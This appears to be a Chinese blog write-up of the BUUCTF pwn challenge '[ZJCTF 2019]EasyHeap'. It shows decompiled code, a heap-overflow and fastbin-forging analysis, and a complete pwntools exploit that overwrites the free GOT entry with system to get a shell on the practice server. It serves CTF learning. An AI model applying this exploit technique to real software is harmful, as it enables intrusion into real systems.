BUUCTF-[ZJCTF 2019]EasyHeap1

[ZJCTF 2019]EasyHeap [ZJCTF 2019]EasyHeap 使用checksec查看: 一道堆题,关闭了PIE,可以考虑覆盖got表来获取system getshell 拉进IDA中查看: 标准的菜单,main()函数就不贴截图了,menu()函数也没有营养,图也不贴了, 先来看看create_heap(): heaparray[i]:存放 chunk 的地址。 read_input(heaparray[i], size):向 chunk 写入 size 大小的内容。 heaparray是存放在bss段上的 edit 阅读详情

1.checksec

经典堆菜单 

2.IDA

MENU

1.create

unsigned __int64 create_heap()
{
  int i; // [rsp+4h] [rbp-1Ch]
  size_t size; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !*(&heaparray + i) )
    {
      printf("Size of Heap : ");
      read(0, buf, 8uLL);
      size = atoi(buf);
      *(&heaparray + i) = malloc(size);
      if ( !*(&heaparray + i) )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:");
      read_input(*(&heaparray + i), size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

最多10个堆块 

heaparray表维护堆块指针

堆块指针表的开头,fake_chunk的地址要在其前面找 

伪造 chunk 至 heaparray 附近,malloc fastbin 时需要绕过大小判断,利用地址开头 7f 来伪造大小为 0x70 的 fastbin 

2.edit

unsigned __int64 edit_heap()
{
  int v1; // [rsp+4h] [rbp-1Ch]
  __int64 v2; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    printf("Size of Heap : ");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    printf("Content of heap : ");
    read_input(*(&heaparray + v1), v2);
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v4;
}

可以重新定义输入的长度,利用堆溢出 

3.delete

unsigned __int64 delete_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    free(*(&heaparray + v1));
    *(&heaparray + v1) = 0LL;
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

free之后置0,不能利用uaf/double free 

133t

有system函数

通过伪造的 fastbin 输入内容覆盖 chunk 0 的地址为 free_got 的地址

编辑 chunk 0 将 free_got 地址改为 system 的地址。
free chunk 1 就会执行 system('/bin/sh')  get  shell

3.EXP

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

#sh = process('./easyheap')
sh = remote("node4.buuoj.cn",25823)

sh.sendafter('Your choice :','1\n')   #0 heap
sh.sendafter('Size of Heap : ','96\n')
sh.sendafter('Content of heap:','\n')

sh.sendafter('Your choice :','1\n')   #1 heap
sh.sendafter('Size of Heap : ','96\n')
sh.sendafter('Content of heap:','\n')

sh.sendafter('Your choice :','3\n')   # free 1
sh.sendafter('Index :','1\n')

x = p64(0x0) * 13 + p64(0x71)  + p64(0x6020ad) + p64(0x0)
sh.sendafter('Your choice :','2\n')
sh.sendafter('Index :','0\n')
sh.sendafter('Size of Heap : ','1000\n')
sh.sendafter('Content of heap : ',x)

#gdb.attach(sh)

sh.sendafter('Your choice :','1\n')      #1 heap
sh.sendafter('Size of Heap : ','96\n')
sh.sendafter('Content of heap:','\n')


#gdb.attach(sh)

sh.sendafter('Your choice :','1\n')   #2 heap  (0x6020ad)
sh.sendafter('Size of Heap : ','96\n')
sh.sendafter('Content of heap:','\n')

x = 'A' * 35 + p64(0x602018)   #free_got
sh.sendafter('Your choice :','2\n')
sh.sendafter('Index :','2\n')
sh.sendafter('Size of Heap : ','1000\n')
sh.sendafter('Content of heap : ',x)


x = p64(0x400700)   #system_plt
sh.sendafter('Your choice :','2\n')
sh.sendafter('Index :','0\n')
sh.sendafter('Size of Heap : ','1000\n')
sh.sendafter('Content of heap : ',x)

x = '/bin/sh' + '\x00'
sh.sendafter('Your choice :','2\n')
sh.sendafter('Index :','1\n')
sh.sendafter('Size of Heap : ','1000\n')
sh.sendafter('Content of heap : ',x)


sh.sendafter('Your choice :','3\n')
sh.sendafter('Index :','1\n')

#gdb.attach(sh)



sh.interactive()

BUUCTF Pwn [ZJCTF 2019]EasyHeap unlink+freehook做法 后续修改0x6020E0的位置为freehook 再修改一次 让其指向system 最后free掉chunk2 就能执行binsh了。delete_heap函数已经将指针清零 无UAF。edit_heap允许自己输入读取字节 存在堆溢出。同时 存储的指针位于bss段。 阅读详情

相关推荐

AUTOSAR—TM模块介绍及使用概要

根据所要测量的场景不同,有1us16bit、1us24bit、1us32bit、100us32bit四种类型可选;TM模块在服务层,提供一些基于时间的服务功能,如测量CPU和任务的负载,周期执行一些回调函数。2、对于需要在不同时间执行不同逻辑的周期任务中,可以搭建时间状态机:参考Tm用户手册;定时器复位、获取时间宽度、定时器转换、定时器同步、繁忙等待。偏移定时器实例的参考时间,直接将定时器数值进行偏移;以1us16bit定时器类型为例,讲几个常用函数。同步两个定时器,把源定时器时间值给到目的定时器。

qq_42479987的博客 605

萌新详解[ZJCTF 2019]EasyHeap,带你走进pwn世界

安全保护 IDA查看 main int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; // eax char buf; // [rsp+0h] [rbp-10h] unsigned __int64 v5; // [rsp+8h] [rbp-8h] v5 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); se

qq_36495104的博客 2246

SWIFT报文格式解析:从MT103到MT760,这些金融电文你了解多少?

本文深入解析SWIFT报文格式中的MT103与MT760,详细介绍了这两种金融电文的结构、应用场景及实操技巧。MT103用于国际汇款业务,MT760则适用于银行保函开立,两者在国际金融交易中扮演关键角色。文章还提供了常见问题解决方案和自动化处理建议,帮助金融从业者高效处理跨境业务。

h9j8k7l6m5n的博客 1141

BUUCTF [ZJCTF 2019]EasyHeap 记第一次堆入门

BUUCTF [ZJCTF 2019]EasyHeap 记第一次堆入门 一般的堆题都是这种表单形式的

weixin_45441024的博客 831

Android 10 根文件系统和编译系统(十):Android.mk编译动态库

配套系列教学视频链接: Android 10.0 AOSP源码编译: 2-AOSP源码开发环境搭建 Android 10.0 根文件系统和编译系统: 3-Android根文件系统和编译系统 说明 系统:AOSP Android10.0 设备:Android模拟器 前言 本文章重点讲解Android.mk如何控制编译源码编译成动态库 ...

ldswfun的专栏 932

AI 大模型在电商精准营销中的应用

例如,对于用户 A 和用户 B,通过比较他们对共同评价过的商品的评分差异来确定相似度。其中,(Gain(D,a))表示特征(a)对数据集(D)的信息增益,(Ent(D))表示数据集(D)的信息熵,(V)表示特征(a)的取值个数,(D^{v})表示特征(a)取值为(v)的样本子集。其中,(sim(A,B))表示用户 A 和用户 B 的相似度,(I)表示用户 A 和用户 B 共同评价过的商品集合,(R_{A,i})和(R_{B,i})分别表示用户 A 和用户 B 对商品(i)的评分。(三)营销活动效果预测。

alittlehippo的博客 1627

[BUUCTF-pwn]——[ZJCTF 2019]EasyHeap

[BUUCTF-pwn]——[ZJCTF 2019]EasyHeap 思路 我们第一个想法肯定是执行l33t这个函数,事实证明被摆了一道。没有结果, 但是我们有system函数我们可以将其放入我们可以操控的函数,比如printf、puts、gets、free等函数的got表,通过传入/bin/sh来解决。利用uaf就可以达到其目的。 exploit from pwn import * context(os='linux',arch='amd64',log_level='debug') p = remot

Y_peak的博客 1188

图解“交易·支付·清结算·账务”全局

这个过程大致是这样的,用户先到平台选择喜欢的“餐品”,然后“下单”,生成交易“账单”,用户选择支付方式进行“支付”,支付成功后平台要履行承诺把餐送到,“履约”完成以后平台就开始进行各方利益的“清分”,计算清楚应给谁多少钱,并“记账”,最后将款项“结算”给商家,这个过程如图7所示。交易系统请求订单系统创建订单,因为不清楚平台和商家之间的清结算协议,所以暂且认为所有优惠由平台提供给用户,后续平台再基于协议跟商家之间做优惠的分摊,将上述商品、优惠、计价等信息集成到一起,就得到了完成的订单信息了,如表4所示。

wjianwei666的专栏 1万+

BUUCTF [ZJCTF 2019]EasyHeap

Partial RELRO 那说明got表可写,可以通过改写got表为想要的函数,堆通常的利用方法 还是老样子,一个堆块管理系统,main函数太长了不放了,就是根据你的输入选择操作 值得一提的是有个这个 这个函数能dedaoflag吗??一会再说,反正system是有了,不用泄露libc了 1.create 可以看到,堆块最多有十个,,还是用了一张表维护着堆块的指针,,这样就让人想把这个...

BengDouLove的博客 3061

华为流程L1-L6业务流程深度细化到可执行【附全文阅读】

该文档主要介绍了华为业务流程的深度细化及相关内容,包括流程框架、建模方法、流程模块描述、流程图建模等,旨在帮助企业构建有效的流程体系,实现战略目标。

cdfunlove的博客 4003

手把手教你学simulink(8.3)--实例:基于 Simulink 的自动驾驶汽车速度控制系统设计与仿真

基于 Simulink 的自动驾驶汽车速度控制系统设计与仿真。

MHD0815的博客 1208

[BUUCTF]PWN——[ZJCTF 2019]EasyHeap

[ZJCTF 2019]EasyHeap 附件 步骤: 例行检查,64位程序 试运行一下看看程序大概执行的情况,经典的堆块的菜单 64位ida载入,首先检索字符串,发现了读出flag的函数 看一下每个选项的函数 add 这边size的大小由我们输入控制,heaparray数组在bss段上存放着我们chunk的指针 edit,简单的根据指针修改对应chunk里的值,但是这里的size也是由我们手动输入的,也就是说只要我们这边输入的size比add的时候输入的size大就会造成溢出 delete,释

mcmuyanga的博客 785

磁环电感参数计算

电感饱和是指当电感中的电流超过一定阈值时,电感中的磁场无法继续增加,而是达到一个饱和状态,导致电感的感应电动势减小或消失。电感通常由线圈组成,当通过线圈的电流不断增加时,线圈内部的磁场也随之增加。然而,当电流达到一定程度时,线圈的铁芯磁化达到饱和,无法进一步增加磁场强度。电感饱和的阈值取决于电感的结构、材料和尺寸等因素。通常情况下,电感的额定电流会标明其饱和电流值。一旦电感中的电流超过了饱和电流,电感将饱和并出现异常行为。当我们谈论电感饱和的时候,实际上是在谈论磁芯饱和——空心的电感永远不会饱和。

小幽余生不加糖 4031

buuctf [ZJCTF 2019]EasyHeap

这题只有add,edit,delete三个主体部分,没有show的部分 create_heap函数,chunk的指针保存在bss段的heaparray数组处 edit_heap函数,注意这里输入的数据长度是可以自己设置的,就可以随意溢出了 delete_heap函数 除此之外,还有这样一个l33t函数: 在程序中,你只要满足一定的条件,是可以运行这个函数的,我猜测在[ZJCTF 2019]比赛进行的时候可能这个函数是可以利用的,但现在在buu上面是用不了的,flag文件的目录不对。不过,这个sys

weixin_45677731的博客 1200

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

heap2-[ZJCTF 2019]EasyHeap

做题先check找攻击手段,Partial RELRP ->修改got表 菜单题,直接找准delete看看有没有UAF。 UAF未果。 但是在Edit_heap中存在漏洞。 这里看起来是以为可以修改heap的size,其实这个size是用来对你的输入进行限制的。(栈溢出就在这里把size写的很大,方便我们写入) 而且这个程序写的也有点问题。 它会让你修改chunk的信息域 所以 wp from pwn import * sh = remote("node4....

qq_51687381的博客 311

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

buuctf [ZJCTF 2019]EasyHeap题解

【代码】buuctf [ZJCTF 2019]EasyHeap题解。

2501_92438811的博客 274

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

BUUCTF pwn——[ZJCTF 2019]EasyHeap

BUUCTF 做题练习

CNS-Enterprise BCC-1701-J 466

[BUUCTF]-PWN:[ZJCTF 2019]EasyHeap解析

这是buu上的一道堆题,话不多说直接看保护和ida这里有一个要注意的点,那就是它是partial RELRO,Full RELRO开启说明got表不可写,而这里没有,这是我们解题的一个前提。然后看ida。这里不过多解释,主要还是创建堆块,释放堆块,edit堆块,但是没有打印堆块内容的函数。还有一个要注意的点,那就是他有system函数,并且参数似乎可以利用。虽然在我解题的过程中这个函数压根得不到flag,但我还是想从这一角度讲解一下解题思路,所以我分两个角度来讲。

2301_79326813的博客 1071

buuctf (babyheap_0ctf_2017)([ZJCTF 2019]EasyHeap)初学堆的两道例题

先了解一下chunk的结构size的低三位表示为:这里会用到 PREV_INUSE(P): 表示前一个chunk是否为allocated。P位为1时代表物理相邻的前一个chunk为free状态,此时prev_size代表前一个chunk的大小。非fastbin的chunk在free时会与物理相邻的空闲chunk合并。

cainiao78777的博客 409

【pwn】 hitcontrain_bamboobox && ZJCTF_19_EasyHeap

这两个题目类似,放在一起写。 例行检查 没有pie,got表可写。 程序逻辑 edit功能都存在堆溢出,堆指针都保存在bss段上,可以通过unlink对got表进行读写。本来两个程序都存在后门,但是oj在部署的时候路径有点问题,所以就想办法获取shell。 bamboobox存在show功能,可以泄露libc地址。 easyheap刚好程序中存在system函数。 bamboobox from ...

Nothing 671

pwn入门堆题[ZJCTF 2019]EasyHeap

buuctf上一道简单的堆题wp,希望对新手有帮助(虽然我也只是刚学不久的新手啦QAQ),非常简单的利用方式,比uaf还简单(看wp前建议去wiki了解一下unsortedbin的相关知识)。

m0_73575406的博客 847

【pwn】[ZJCTF 2019]EasyHeap --fastbin攻击,house of spirit

/ 往堆中读入数据。

question55的博客 1187

BUUCTF【pwn】解题记录(1-3页已完结)

文章目录ripwarmup_csaw_2016ciscn_2019_n_1pwn1_sctf_2016jarvisoj_level0ciscn_2019_c_1(栈溢出+ret2libc+plt调用)[第五空间2019 决赛]PWN5ciscn_2019_n_8jarvisoj_level2[OGeek2019]babyropbjdctf_2020_babystackget_started_3dsctf_2016(mprotect+read+shellcode)cn_2019_en_2jarvisoj_le

Assassin 2454

PWN-PRACTICE-BUUCTF-9

PWN-PRACTICE-BUUCTF-9[Black Watch 入群题]PWNjarvisoj_level4picoctf_2018_rop chain[ZJCTF 2019]EasyHeap [Black Watch 入群题]PWN vul_function可以向.bss段上写数据,还可以构成栈溢出,但只能溢出8字节,覆盖ebp和eip 利用两次栈迁移 第一次栈迁移利用write函数打印出write函数的真实地址,由偏移计算libc基址,进而得到system和"/bin/sh"地址 第二次栈迁移执行s

P1umH0的博客 203
上一篇: BUUCTF-not_the_same_3dsctf_2016
下一篇: BUUCTF-ciscn_2019_n_51
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值